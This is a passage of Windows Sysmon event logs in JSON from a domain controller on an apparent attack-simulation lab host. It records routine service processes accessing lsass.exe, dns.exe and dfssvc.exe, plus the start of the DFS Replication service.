11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.359\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.359","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.361\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.361","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.364\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.364","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.364\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.364","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.364\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.364","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.322\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107D140200}\r\nProcessId: 2564\r\nImage: C:\\Windows\\System32\\dfsrs.exe\r\nFileVersion: 10.0.14393.2879 (rs1_release_inmarket.190313-1855)\r\nDescription: Distributed File System Replication\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dfsr.exe\r\nCommandLine: C:\\Windows\\system32\\DFSRs.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=5043D2DBA1E5AC37A9874B403B48C1C1,SHA256=7044CE273B245F6D67A3BFC7D548CFF538F8FC3BD1C99467B5ADE6452C150313,IMPHASH=C1481566D7D03EEC4CC460B52429BA9C\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.322","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107D140200}","Image":"C:\\Windows\\System32\\dfsrs.exe","FileVersion":"10.0.14393.2879 (rs1_release_inmarket.190313-1855)","Description":"Distributed File System Replication","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dfsr.exe","CommandLine":"C:\\Windows\\system32\\DFSRs.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=5043D2DBA1E5AC37A9874B403B48C1C1,SHA256=7044CE273B245F6D67A3BFC7D548CFF538F8FC3BD1C99467B5ADE6452C150313,IMPHASH=C1481566D7D03EEC4CC460B52429BA9C","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.370\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 